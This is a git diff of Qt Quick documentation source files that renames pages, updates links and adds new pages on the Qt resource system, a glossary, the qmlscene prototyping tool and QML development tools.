Qt +\page qtquick-deployment.html +\title Deploying QML Applications +\brief process of deploying QML applications + + QML documents are loaded and executed by the QML runtime. This includes the Declarative UI engine along with the built-in QML elements and plugin modules, @@ -126,18 +128,80 @@ loaded as a QQmlComponent instance rather than placed into a view: } \endcode -See \l {Using QML Bindings in C++ Applications} for more information about using +See \l{qtqml-cppintegration-data.html}{Exposing C++ Data to QML} for more information about using QQmlEngine, QQmlContext and QQmlComponent, as well as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}. -\section1 Developing and Prototyping with QML Viewer +\section1 Developing and Prototyping with QML Scene + +The Declarative UI package includes a QML runtime tool, +\l{qtquick-qmlscene.html}{qmlscene}, which loads and displays QML documents. +This is useful during the application development phase for prototyping +QML-based applications without writing your own C++ applications to invoke +the QML runtime. + + + +\section1 Managing resource files with the Qt resource system + +The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as +binary files in an application executable. This can be useful when building a mixed +QML/C++ application as it enables QML files (as well as other resources such as images +and sound files) to be referred to through the resource system URI scheme rather than +relative or absolute paths to filesystem resources. Note, however, that if you use the resource +system, the application executable must be re-compiled whenever a QML source file is changed +in order to update the resources in the package. + +To use the resource system in a mixed QML/C++ application: + +\list +\li Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource + files in XML format +\li From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the + \c qrc scheme +\endlist + +Once this is done, all files specified by relative paths in QML will be loaded from +the resource system instead. Use of the resource system is completely transparent to +the QML layer; this means all QML code should refer to resource files using relative +paths and should \e not use the \c qrc scheme. This scheme should only be used from +C++ code for referring to resource files. + +Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. +The directory structure looks like this: + +\code +project + |- example.qrc + |- main.qml + |- images + |- background.png + |- main.cpp + |- project.pro +\endcode + +The \c main.qml and \c background.png files will be packaged as resource files. This is +done in the \c example.qrc resource collection file: + +\quotefile qml/qtbinding/resources/example.qrc + +Since \c background.png is a resource file, \c main.qml can refer to it using the relative +path specified in \c example.qrc: + +\snippet qml/qtbinding/resources/main.qml 0 + +To allow QML to locate resource files correctly, the \c main.cpp loads the main QML +file, \c main.qml, as a resource file using the \c qrc scheme: + +\snippet qml/qtbinding/resources/main.cpp 0 + +Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should +be used to build the application resources: + +\quotefile qml/qtbinding/resources/resources.pro -The Declarative UI package includes a QML runtime tool, qmlscene, which loads -and displays QML documents. This is useful during the application development -phase for prototyping QML-based applications without writing your own C++ -applications to invoke the QML runtime. +See \l {The Qt Resource System} for more information. -*/ diff --git a/src/quick/doc/src/appdevguide/glossary.qdoc b/src/quick/doc/src/appdevguide/glossary.qdoc new file mode 100644 index 0000000000..6e20d2fed9 --- /dev/null +++ b/src/quick/doc/src/appdevguide/glossary.qdoc @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-glossary.html +\title Glossary Of Terms +\brief Glossary of terms used in the documentation for QML and QtQuick + +\section1 Common Terms + +\table + \header + \li Term + \li Definition + + \row + \li QML + \li The language provided by the Qt QML module in which QML + applications are written + + \row + \li Qt Quick + \li The standard-library of types and functionality for the + QML language, which is provided by the Qt Quick module, + and may be accessed with "import QtQuick 2.0" + + \row + \li Type + \li A type is either a property type, or a QML object type. + All QML object types may also be a property type (for + example, you can have a property of type Button) but not + all property types are also QML object types (for example, + an integer is not an object). Types are either built-in + to the QML language (\l{qtqml-basictypes.html}{basic types}), + or they are provided by the QtQuick import + (\l{qtquick-qmltypereference.html}{Qt Quick types}), or they + are provided in extensions to QML (\l{qtqml-modules-topic.html} + {Modules}) or by the application developer as QML documents. + + \row + \li Component + \li A Component is a special type which may be used to instantiate + other QML object types. + + \row + \li Object + \li An object is an instance of a type. + + \row + \li Property + \li An object can have one or more properties. Some properties + are associated with the canvas (e.g., x, y, width, height, + and opacity) while others may be data specific to that type + (e.g., the "text" property of the Text type). + + \row + \li Binding + \li A binding is a JavaScript expression which is "bound" to a + property. The value of the property at any point in time + will be the value returned by evaluating that expression. + + \row + \li Signal + \li A signal is a notification of a condition occurring, and may be + either "emitted" or "handled". Most properties of QML objects + have a change signal, and also an associated change signal handler + which may be defined by clients to implement functionality. For + example, the "onClicked()" handler of an instance of the MouseArea + type might be defined in an application to cause a sound to be + played. + + \row + \li Signal Handler + \li A signal handler is the expression (or function) which is triggered + by a signal. It is also known as a "slot" in C++. + + \row + \li Lazy Instantiation + \li Object instances can be instantiated "lazily" at run-time, + to avoid performing unnecessary work until needed. Qt Quick + provides the Loader element to make lazy instantiation more + convenient. +\endtable + +\section1 Indexed Alphabetically + +*/ diff --git a/src/qml/doc/src/qml/qmli18n.qdoc b/src/quick/doc/src/appdevguide/internationalization.qdoc index b65c001e8e..ee2ac5df20 100644 --- a/src/qml/doc/src/qml/qmli18n.qdoc +++ b/src/quick/doc/src/appdevguide/internationalization.qdoc @@ -26,10 +26,10 @@ ****************************************************************************/ /*! -\page qml-i18n.html +\page qtquick-internationalization.html \ingroup qml-features -\title QML Internationalization -\brief translating texts in QML +\title Localization And Internationalization Support In Qt Quick +\brief Description of how a QML developer can internationalize their application \section1 Translation @@ -51,7 +51,7 @@ capabilities are described more fully in: \li \l {Qt Linguist Manual} \endlist -You can test a translation with the \l {QML Viewer} using the -translation option. +You can test a translation with the \l{qtquick-qmlscene.html}{QML Scene} using the -translation option. \section2 Example @@ -93,3 +93,4 @@ Qt Quick supports localization via the \l {QtQuick2::Locale}{Locale} object and */ + diff --git a/src/qml/doc/src/qml/performance.qdoc b/src/quick/doc/src/appdevguide/performance.qdoc index 081f6958d4..f2918139dc 100644 --- a/src/qml/doc/src/qml/performance.qdoc +++ b/src/quick/doc/src/appdevguide/performance.qdoc @@ -26,11 +26,9 @@ ****************************************************************************/ /*! -\page qtquick2-performance.html -\title QML Performance -\brief performance issues and suggestions - -\tableofcontents +\page qtquick-performance.html +\title Performance Considerations And Suggestions +\brief Discussion of performance-related tradeoffs and best-practices \section1 Timing Considerations @@ -775,7 +773,7 @@ The QML engine does some tricky things to try to ensure that loading and initial components doesn't cause frames to be skipped, however there is no better way to reduce startup time than to avoid doing work you don't need to do, and delaying the work until it is necessary. This may be achieved by using either \l Loader or creating components -\l {Dynamic Object Management in QML}{dynamically}. +\l {qtqml-javascript-dynamicobjects.html}{dynamically}. \section3 Using Loader @@ -794,7 +792,8 @@ The Loader is an element which allows dynamic loading and unloading of component Developers can use the Qt.createComponent() function to create a component dynamically at runtime from within JavaScript, and then call createObject() to instantiate it. Depending on the ownership semantics specified in the call, the developer may have to delete the -created object manually. See \l {Dynamic Object Management in QML} for more information. +created object manually. See \l{qtqml-javascript-dynamicobjects.html} +{Dynamic Object Management in QML} for more information. \section2 Destroy Unused Elements diff --git a/src/quick/doc/src/qmlintro.qdoc b/src/quick/doc/src/appdevguide/qml-intro.qdoc index 8a01e6464a..e96fafb6cb 100644 --- a/src/quick/doc/src/qmlintro.qdoc +++ b/src/quick/doc/src/appdevguide/qml-intro.qdoc @@ -27,7 +27,7 @@ /*! \page qml-intro.html tutorial -\title Introduction to the QML Language +\title Introduction to QML Application Development \brief Introduction to the concepts and features behind QML. QML is a declarative language designed to describe the user interface of a @@ -36,13 +36,16 @@ interface is specified as a tree of objects with properties. This introduction is meant for those with little or no programming experience. JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (see the online \l{Javascript Guide}) before -diving deeper into QML. It is also helpful to have a basic understanding of -other Web technologies like HTML and JSON, but it is not required. +to learn a bit more about it (see the \l{qtqml-javascript-topic.html} +{Javascript integration in QML} documentation) before diving deeper into QML. +It is also helpful to have a basic understanding of other Web technologies like +HTML and JSON, but it is not required. The examples shown in this guide are located in the \c{examples/quick/tutorials/qmlintro} directory within the Qt source -package. You can run then with the \l{QML Viewer} tool. +package. You can run then with the \l{qtquick-qmlscene.html}{qmlscene} tool. They make +use of the Qt Quick module (which provides the standard library of +QML types and functionality for the QML language). \section1 \l{QML Concepts and Syntax} \tableofcontents{1 QML Concepts and Syntax}{section4} @@ -52,13 +55,16 @@ package. You can run then with the \l{QML Viewer} tool. \section1 \l{User Interaction with QML} \tableofcontents{1 User Interaction with QML}{section4} + +\section1 \l{QML Application Development Tools} +\tableofcontents{1 QML Application Development Tools}{section4} */ /*! -\page qml-basic-syntax.html +\page qml-intro-basic-syntax.html \brief The basic syntax and concepts of the QML language. -\contentspage Introduction to the QML Language -\previouspage Introduction to the QML Language +\contentspage Introduction to QML Application Development +\previouspage Introduction to QML Application Development \nextpage Composing User Interfaces with QML \title QML Concepts and Syntax @@ -72,7 +78,7 @@ the terminology used in the reference documentation. \inlineimage declarative-qmlintro-basic-syntax.png \enddiv The following example shows the basic syntax of QML. When opened in -the \l{QML Viewer}{\QQV tool}, the output displayed should match the +the \l{qtquick-qmlscene.html}{qmlscene} tool, the output displayed should match the image shown on the right: a light blue rectangle. \snippet examples/quick/tutorials/qmlintro/basic-syntax.qml document @@ -84,19 +90,20 @@ this simple example. \section1 Importing Modules -The \c import statement imports the \c QtQuick \l{QML Modules}{module}, -which contains all of the standard \l{QML Elements}. Without this import -statement, the \l Rectangle and other elements would not be available. +The \c import statement imports the \l{qtquick-main.html}{QtQuick} +\l{qtqml-modules-topic.html}{module}, which contains all of the standard +QML types. Without this import statement, the \l Rectangle and +other visual object types would not be available. A specific version of a module is imported. This guarantees that the -elements imported when the application is run by the user match those +QML types imported when the application is run by the user match those used by the developer when the application was written, ensuring that they have the expected behavior. -\section1 Elements +\section1 Object Declarations The rectangle in the above example is specified by the \l Rectangle -element. When we declare objects like this, we write the element's type +object definition. When we declare objects like this, we write the object's type followed by a pair of braces in between which additional data can be defined for the object, such as its property values and any child objects. @@ -105,49 +112,42 @@ defined for the object, such as its property values and any child objects. \enddiv \snippet examples/quick/tutorials/qmlintro/elements1.qml document -Here, we create two elements: a rectangle with an image inside it. We say that -the rectangle is the parent element and the image is its child. Since the -rectangle does not have a parent element, it is a top level element. +Here, we create two visual items: a rectangle with an image inside it. We say that +the rectangle is the parent visual item and the image is its child. Since the +rectangle does not have a parent, it is a top level visual item. -The position of each element in the user interface is defined relative -to the position of its parent, except for the top level element whose +The position of each visual item in the user interface is defined relative +to the position of its parent, except for the top level visual item whose position is always the top-left corner of the screen. -QML files can contain multiple elements, but \e{only one} can be a top level -element. +QML files can contain multiple object declarations, but \e{only one} can be a top level +visual item. \div {class="float-right"} \inlineimage declarative-qmlintro-elements2.png \enddiv \snippet examples/quick/tutorials/qmlintro/elements2.qml document -In this example, we can define as many elements inside the rectangle -as we like, but we cannot define other top level elements. All the -additional elements are defined inside the light blue rectangle. - -\note In the QML documentation, we refer to \e elements, \e items and -\e components, often interchangeably. +In this example, we can define as many objects inside the rectangle +as we like, but we cannot define other top level visual items. All the +additional objects are defined inside the light blue rectangle. \list -\li When we talk about an \e element, we usually mean the syntactic structure, +\li When we talk about an \e{object definition}, we mean the syntactic structure, including the name, the opening and closing braces, and its contents. -\li An \e item is an element that has a visual appearance. All items are - elements that inherit \l Item either directly or indirectly. For example, - a \l Rectangle is an item, but a \l State is an element because it does +\li A \e{visual item} is a declaration of an object that has a visual appearance. All visual items are + objects that inherit \l Item either directly or indirectly. For example, + a \l Rectangle is a visual item, but a \l State is a (non-visual) object because it does not have an intrinsic appearance. -\li A \e component is an element that is defined to be reused. In many cases, - components are often items, too. \endlist -For now, we will refer to elements and items. Components are discussed in -detail later in this guide. - -A list of the most common elements is described on the \l{QML Basic Elements} -page. A full list can be found on the \l{QML Elements} page. +Note that all object definitions in QML are QML object types. The QML type system +provides basic types and object types. A full list of object types provided by +Qt Quick is described on the \l{qtquick-qmltypereference.html}{Qt Quick QML Type Reference} page. \section1 Properties -A QML element usually has various \e properties that help define the element. +A QML object usually has various \e properties that help define the object. For example, all items have the \l{Item::}{x} and \l{Item::}{y} properties that define the position of the item relative to its parent item (or the screen's origin) and \l{Item::}{width} and \l{Item::}{height} properties @@ -181,7 +181,8 @@ must be separated by a semicolon. \section2 Basic Property Types -QML supports properties of many types (see \l{QML Basic Types}). The basic types +QML supports properties of many types (see the documentation about the +\l{qtqml-typesystem-topic.html}{QML type system}). The basic types include \c int, \c real, \c bool, \c string and \c color. \qml @@ -211,7 +212,7 @@ them together and react to changes. \section2 Grouped Properties \target dot properties -Some elements contain a set of related properties that form a logical group; +Some objects contain a set of related properties that form a logical group; these use a "dot" or grouped notation to show this. The \l Text item is one such item that uses groups of properties to describe the font used to display text. @@ -224,11 +225,11 @@ or like this: \snippet examples/quick/tutorials/qmlintro/grouped-properties2.qml text with grouped properties -In the element documentation, grouped properties are shown using the "dot" notation. +In the object documentation, grouped properties are shown using the "dot" notation. \section2 List Properties -Some properties contain lists of elements, such as \l State, \l Item or +Some properties have a value which is a list of other objects, such as \l State, \l Item or \l Transition. For example, the \l{Item::}{states} property is used like this: @@ -242,7 +243,7 @@ Item { \endqml The list is enclosed in square brackets, with a comma separating the list -elements. In cases where you are only assigning a single element to a list, +objects. In cases where you are only assigning a single object to a list, you can omit the square brackets: \qml @@ -251,7 +252,7 @@ Item { } \endqml -Elements in the list can be accessed by index. See the \l{list}{list type} +Objects in the list can be accessed by index. See the \l{list}{list type} documentation for more details about list properties and their available operations. @@ -267,13 +268,13 @@ Item { \endqml These expressions can include references to other objects and properties, in -which case a \l{Property Binding in QML}{binding} is established: when the value of +which case a \l{qtqml-syntax-propertybinding.html}{binding} is established: when the value of the expression changes, the property to which the expression is assigned is automatically updated to the new value. For example: \div {class="float-right"} \inlineimage declarative-qmlintro-property-binding1.png -\br + \inlineimage declarative-qmlintro-property-binding2.png \enddiv \snippet examples/quick/tutorials/qmlintro/property-binding.qml elements @@ -284,12 +285,12 @@ the \l Rectangle is automatically updated. This uses the special \c parent property to refer to a parent item, which we explore in the \l{Object Identifiers}{next section}. -This is useful for relating the size of one element to another, so that -changes to the sizes of elements in the design, or at run-time, will be +This is useful for relating the size of one visual object to another, so that +changes to the sizes of a visual object in the design, or at run-time, will be taken into account. Property binding works with all types of properties, not just those related -to the size of an element. +to the size of a visual object. \section1 Object Identifiers @@ -298,8 +299,8 @@ be identified and referred to by other objects. An \c id must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores. -For example, below we define a \l Text element and a \l Rectangle element -as children of a \l Column element. The \l Text object has an \c id value +For example, below we define a \l Text object and a \l Rectangle object +as children of a \l Column object. The \l Text object has an \c id value of \c{textElement}. The Rectangle object defines its \c width property to be the same as that of the Text object by referring to \c{textElement.width}: @@ -311,9 +312,9 @@ to be the same as that of the Text object by referring to \snippet examples/quick/tutorials/qmlintro/object-identifiers.qml document An object can be referred to by its \c id from anywhere within the -\l{QML Documents}{component} in which it is declared. Therefore, an +\l{qtqml-documents-topic.html}{component} in which it is declared. Therefore, an \c id value must always be unique within a single component. -This means that a single QML file should only contain one place where +This means that a single QML document should only contain one place where a particular \c id value is defined. The \c id value is a special value for a QML object and should not be @@ -321,9 +322,9 @@ thought of as an ordinary object property; for example, it is not possible to access \c{textElement.id} in the above example. Once an object is created, its \c id cannot be changed. -\note The \c parent value is a special identity that each element can use +\note The \c parent value is a special identity that each object can use to refer to its parent item. For most simple user interfaces containing -a few display items, the parent of an item will be the enclosing element +a few display items, the parent of an item will be the enclosing object in the QML file that contains it. However, when we look at more complex ways to arrange and display items, we will find that this is not always the case. @@ -344,7 +345,7 @@ your QML files. Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. In the above example, the -\l Text element will have normal opacity, since the line containing the +\l Text object will have normal opacity, since the line containing the opacity property has been turned into a comment. \section1 Responding to Changes @@ -359,7 +360,7 @@ themselves; this is the main way to create items that respond to the user. \section2 Signal Handlers Signal handlers allow JavaScript code to be executed in response to a signal. -For example, the \l MouseArea element has an \l{MouseArea::}{onClicked} handler +For example, the \l MouseArea object has an \l{MouseArea::}{onClicked} handler that can be used to respond to a mouse click. Below, we use this handler to print a message whenever the mouse is clicked: @@ -379,7 +380,7 @@ referred to in the JavaScript code, as below: When a property changes value, it can send a signal to notify others of this change. To receive these signals, simply create a \e{signal handler} named with an -\e on<Property>Changed syntax. For example, the \l TextInput element has a +\e on<Property>Changed syntax. For example, the \l TextInput type has a \l{TextInput::}{text} property. When this property changes, the \c textChanged signal is emitted. We can monitor this property for changes with the \c onTextChanged handler. @@ -393,7 +394,7 @@ The following code shows this in practice: \div {class="float-right"} \inlineimage declarative-qmlintro-property-change1.png -\br + \inlineimage declarative-qmlintro-property-change2.png \enddiv \snippet examples/quick/tutorials/qmlintro/property-change.qml property change @@ -402,8 +403,8 @@ When the user modifies the text, the expression assigned to the \c textChanged handler will be evaluated. In this example, the text changes color when this happens. -Similarly, the \l Rectangle element has \l{Item::}{width} and -\l{Rectangle::}{color} properties. Below, we have a \l Rectangle element +Similarly, the \l Rectangle type has \l{Item::}{width} and +\l{Rectangle::}{color} properties. Below, we have a \l Rectangle object that has defined two signal handlers, \c onWidthChanged and \c onColorChanged, which will automatically be called whenever these properties are modified: @@ -422,14 +423,14 @@ which can be useful for debugging purposes. \section2 Attached Properties \target attached-properties -Some elements attach properties to other elements. This is used in cases -where one element needs to access features of another, but does not +Some objects attach properties to other objects. This is used in cases +where one object needs to access features of another, but does not inherit properties to access those features. Attached Properties are of the form \e {<Type>.<property>} where \e <Type> -is the type of the element that attaches \e <property>. +is the type of the object that attaches \e <property>. -An example of attached properties in use involves the \l Keys element which +An example of attached properties in use involves the \l Keys type which attaches properties for handling key presses to any item. For example: \div {class="float-right"} @@ -437,11 +438,11 @@ attaches properties for handling key presses to any item. For example: \enddiv \snippet examples/quick/tutorials/qmlintro/attached-properties.qml attached properties -The \l Keys properties are not defined by the \l Item element. They are +The \l Keys properties are not defined by the \l Item type. They are defined separately and attached to the item. Attached properties are also used by delegates to reference information about -the view they are used in. For example, the \l ListView element attaches +the view they are used in. For example, the \l ListView type attaches the \e ListView.isCurrentItem property to each delegate it creates: \div {class="float-right"} @@ -486,8 +487,8 @@ because \c changes is the default property of the \c State type. */ /*! -\page qml-composing-uis.html -\contentspage Introduction to the QML Language +\page qml-intro-composing-uis.html +\contentspage Introduction to QML Application Development \previouspage QML Concepts and Syntax \nextpage User Interaction with QML \title Composing User Interfaces with QML @@ -495,7 +496,7 @@ because \c changes is the default property of the \c State type. \tableofcontents -In the \l{Introduction to the QML Language}{previous chapter}, we looked at +In the \l{Introduction to QML Application Development}{previous chapter}, we looked at the syntax of QML and the basic building blocks that are used to create user interfaces. For example, at a low level, we have seen that an item's \c x and \c y properties are used to position it within its parent item. @@ -572,7 +573,7 @@ the same width. \div {class="float-right"} \inlineimage declarative-qmlintro-anchors-expanding1.png -\br + \inlineimage declarative-qmlintro-anchors-expanding2.png \enddiv \snippet examples/quick/tutorials/qmlintro/anchors-expanding.qml anchored items @@ -582,8 +583,8 @@ to those of the text input item. Since the text can be modified by the user, the width of the item can change. The use of anchors causes the width of the rectangle to change as well. -The \l{Anchor-Based Layout in QML} document covers the use of anchors in -more detail. +The \l{qtquick-concepts-positioning-anchors.html}{Anchor-Based Layout in QML} +document covers the use of anchors in more detail. \section2 Margins @@ -594,7 +595,7 @@ between them. \div {class="float-right"} \inlineimage declarative-qmlintro-anchors-margins.png -\br + \inlineimage declarative-qmlintro-anchors-baseline-margins.png \enddiv \snippet examples/quick/tutorials/qmlintro/anchors-margins.qml anchored items @@ -621,7 +622,7 @@ siblings, care must be taken when referencing items in complex or deeply-nested user interfaces. Where there are lots of items to be arranged, it can be more productive to use \l{#Positioners}{positioners} and \l{Generating Items with Repeaters}{repeaters}, or -\l{Models and Views}{models and views}. +\l{qtquick-concepts-data-modelview.html}{models and views}. Connections between anchors cannot be deleted and will override explicit declarations of positions and sizes using the \l{Item::}{x}, \l{Item::}{y}, @@ -640,7 +641,7 @@ parent item and its child. In order to reference an item with an anchor, it needs a way to be identified. Children of the item can refer to it as \c parent, but otherwise it needs to -define an \l{Introduction to the QML Language#Object Identifiers}{identifier}. +define an \l{QML Concepts and Syntax#Object Identifiers}{identifier}. It is good practice to define identifiers for all the items that need to be positioned or referenced in some way unless those items can be referenced using the \c parent identifier. @@ -711,7 +712,7 @@ try and individually position them. \section2 Standard Positioners A set of standard positioners are provided in the basic set of Qt Quick items. -Since these are all based on the \l Item element, they contain properties that +Since these are all based on the \l Item type, they contain properties that define their positions and sizes, but they do not have any visual appearance of their own; they simply arrange their child items in the space allocated to them. Any background color, if desired, must be added to a parent Rectangle. @@ -732,8 +733,8 @@ they describe how space is added to different kinds of layout. The \c add and \c move properties describe what should happen when items are added to a positioner item or moved within it. These actions are -described with \l{QML Animation and Transitions}{transitions}, and will -be covered later. +described with \l{qtquick-concepts-statesanimations-animations.html} +{transitions}, and will be covered later. \section3 Row @@ -858,7 +859,7 @@ screenshots. \div {class="float-right"} \inlineimage qml-flow-text1.png -\br + \inlineimage qml-flow-text2.png \enddiv \snippet examples/quick/tutorials/qmlintro/flow.qml document @@ -907,8 +908,8 @@ and \l Flow positioners should have fixed widths and heights. */ /*! -\page qml-user-interaction.html -\contentspage Introduction to the QML Language +\page qml-intro-user-interaction.html +\contentspage Introduction to QML Application Development \previouspage Composing User Interfaces with QML \nextpage Generating Items with Repeaters \title User Interaction with QML @@ -917,7 +918,7 @@ and \l Flow positioners should have fixed widths and heights. \tableofcontents So far, we have shown how to declare items and arrange them to create a user -interface. If we play a QML file using the \l{QML Viewer}, we can resize the +interface. If we play a QML file using \l{qtquick-qmlscene.html}{qmlscene}, we can resize the display window and see the items adapt to the change, but the items themselves do not respond to user input from the keyboard or mouse. @@ -962,7 +963,7 @@ area, and defines two signal handlers to response to mouse button input. \div {class="float-right"} \inlineimage declarative-qmlintro-mouse-pressed1.png -\br + \inlineimage declarative-qmlintro-mouse-pressed2.png \enddiv \snippet examples/quick/tutorials/qmlintro/mouse-pressed-signals.qml text item @@ -1048,7 +1049,7 @@ press a mouse button over the area. \div {class="float-right"} \inlineimage declarative-qmlintro-mouse-hover-containsmouse1.png -\br + \inlineimage declarative-qmlintro-mouse-hover-containsmouse2.png \enddiv \snippet examples/quick/tutorials/qmlintro/mouse-hover-containsmouse.qml items @@ -1115,7 +1116,7 @@ presses, as well as higher level features for navigation using keys. Unlike mouse input, which uses the \l MouseArea item, key input uses two attached properties to handle keyboard input: \l Keys and \l KeyNavigation. -These look like ordinary elements, but can be applied to any item in order +These look like ordinary object properties, but can be applied to any item in order to enable keyboard input support. \section2 Key Navigation @@ -1132,7 +1133,7 @@ positioner. These are defined with identifiers, \c{leftRect} and \div {class="float-right"} \inlineimage declarative-qmlintro-key-navigation1.png -\br + \inlineimage declarative-qmlintro-key-navigation2.png \enddiv \snippet examples/quick/tutorials/qmlintro/key-navigation.qml items @@ -1154,10 +1155,10 @@ because as defined by the \l KeyNavigation attached property for */ /*! -\page qml-positioning-items.html -\contentspage Introduction to the QML Language -\previouspage Composing User Interfaces with QML -\nextpage QML Tutorial +\page qml-intro-positioning-items.html +\contentspage Introduction to QML Application Development +\previouspage User Interaction with QML +\nextpage QML Application Development Tools \title Generating Items with Repeaters \brief How to generate and position items dynamically. @@ -1174,7 +1175,7 @@ from a model. Combining repeaters and positioners is an easy way to lay out lots of items. A \l Repeater item is placed inside a positioner, and generates items that the enclosing positioner arranges. -Each Repeater creates a number of items by combining each element of data +Each Repeater creates a number of items by combining each row of data from a model, specified using the \l{Repeater::model}{model} property, with the template item, defined as a child item within the Repeater. The total number of items is determined by the amount of data in the model. @@ -1218,3 +1219,73 @@ positioned relative to other items with \l{anchor-layout}{anchors}, or used with \l{QML Data Models} such as \l{QML Data Models#VisualItemModel}{VisualItemModel}. */ + +/*! +\page qml-intro-tools.html +\contentspage Introduction to QML Application Development +\previouspage Generating Items with Repeaters +\nextpage Introduction to QML Application Development +\title QML Application Development Tools +\brief Tools provided to enable rapid QML application development + +\tableofcontents + +\section1 Qt Creator Tools + +Qt Creator is a complete integrated development environment (IDE) for creating +applications with Qt Quick and the Qt application framework. + +\image qmldesigner-visual-editor.png + +The main goal for Qt Creator is meeting the development needs of Qt Quick +developers who are looking for simplicity, usability, productivity, +extendibility and openness, while aiming to lower the barrier of entry for +newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers +and developers to accomplish the following tasks: +\list +\li Get started with Qt Quick application development quickly and easily with +examples, tutorials, and project wizards. +\li Design application user interface with the integrated editor, Qt Quick +Designer, or use graphics software to design the user interface and use scripts +to export the design to Qt Quick Designer. +\li Develop applications with the advanced code editor that provides new powerful +features for completing code snippets, refactoring code, and viewing the object +hierarchy of QML files. +\li Build and deploy Qt Quick applications that target multiple desktop and +mobile platforms, such as Microsoft Windows, Mac OS X, Linux, and Maemo. +\li Debug JavaScript functions and execute JavaScript expressions in the current +context, and inspect QML at runtime to explore the object structure, debug +animations, and inspect colors. +\li Deploy applications to mobile devices and create application installation +packages for Maemo devices that can be published in the Ovi Store +and other channels. +\li Easily access information with the integrated context-sensitive Qt Help +system. +\endlist + +\image qtcreator-target-selector.png + +\section1 Where to Go from Here + +The \l{qtquick-applicationdevelopers.html}{QML Application Developer Resources} +page contains the most important information for QML application developers. + +\l{external: Developing Qt Quick Applications with Creator} +{Developing Qt Quick Applications with Creator} provides an overview +of user interface development using the visual \e{Qt Quick Designer} tool. + +The \l{qtqml-main.html}{Qt QML module} documentation contains in-depth +information about the QML language and the concepts behind QML. + +The \l{qtquick-main.html}{Qt Quick module} documentation contains in-depth +information about the QML types and functionality provided by Qt Quick, +which forms the basis for user-interfaces developed in QML. + +The \l{qtquick-codesamples.html}{Qt Quick Code Samples} page has a gallery of QML applications. + +\section1 License Information +\list +\li \l{qtquicklicense.html}{Qt Quick Licensing Information} +\endlist + +*/ diff --git a/src/quick/doc/src/appdevguide/qmlscene.qdoc b/src/quick/doc/src/appdevguide/qmlscene.qdoc new file mode 100644 index 0000000000..7ca404585d --- /dev/null +++ b/src/quick/doc/src/appdevguide/qmlscene.qdoc @@ -0,0 +1,135 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-qmlscene.html +\ingroup qtquick-tools +\title Protoyping with qmlscene +\ingroup qttools +\brief a tool for testing and loading QML files + +The Qt SDK includes \c qmlscene, a tool for loading QML documents that +makes it easy to quickly develop and debug QML applications. It provides a simple +way of loading QML documents and also includes additional features useful for +the development of QML applications. + +The \c qmlscene tool should only be used for testing and developing QML applications. It is +\e not intended for use in a production environment and should not be used for the +deployment of QML applications. In those cases, a custom C++ application should be +written instead, or the QML file should be bundled in a module. See +\l {Deploying QML applications} for more information. + +The \c qmlscene tool is located at \c QTDIR/bin/qmlscene. To load a \c .qml file, +run the tool and select the file to be opened, or provide the +file path on the command line: + +\code + qmlscene myqmlfile.qml +\endcode + +To see the configuration options, run \c qmlscene with the \c -help argument. + + +\section1 Adding module import paths + +Additional module import paths can be provided using the \c -I flag. +For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates +a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced +identifier, \c qmlscene has to be run with the \c -I flag from the example's +base directory: + +\code +qmlscene -I . plugins.qml +\endcode + +This adds the current directory to the import path so that \c qmlscene will +find the plugin in the \c com/nokia/TimeExample directory. + +Note by default, the current directory is included in the import search path, +but namespaced modules like \c com.nokia.TimeExample are not found unless +the path is explicitly added. + + +\section1 Loading placeholder data + +Often, QML applications are prototyped with fake data that is later replaced +by real data sources from C++ plugins. The \c qmlscene tool assists in this aspect by +loading fake data into the application context: it looks for a directory named +"dummydata" in the same directory as the target QML file, and any \c .qml +files in that directory are loaded as QML objects and bound to the root context +as properties named after the files. + +For example, this QML document refers to a \c lottoNumbers property which does +not actually exist within the document: + +\qml +import QtQuick 2.0 + +ListView { + width: 200; height: 300 + model: lottoNumbers + delegate: Text { text: number } +} +\endqml + +If within the document's directory, there is a "dummydata" directory which +contains a \c lottoNumbers.qml file like this: + +\qml +import QtQuick 2.0 + +ListModel { + ListElement { number: 23 } + ListElement { number: 44 } + ListElement { number: 78 } +} +\endqml + +Then this model would be automatically loaded into the ListView in the previous document. + +Child properties are included when loaded from dummy data. The following document +refers to a \c clock.time property: + +\qml +import QtQuick 2.0 +Text { text: clock.time } +\endqml + +The text value could be filled by a \c dummydata/clock.qml file with a \c time +property in the root context: + +\qml +import QtQuick 2.0 +QtObject { property int time: 54321 } +\endqml + +To replace this with real data, you can simply bind the real data object to +the root context in C++ using QQmlContext::setContextProperty(). This +is detailed in \l{qtqml-cppintegration-topic.html}{Integrating QML and C++}. + +*/ + diff --git a/src/qml/doc/src/qmltest.qdoc b/src/quick/doc/src/appdevguide/qtquicktest.qdoc index a8524999e7..50ce424464 100644 --- 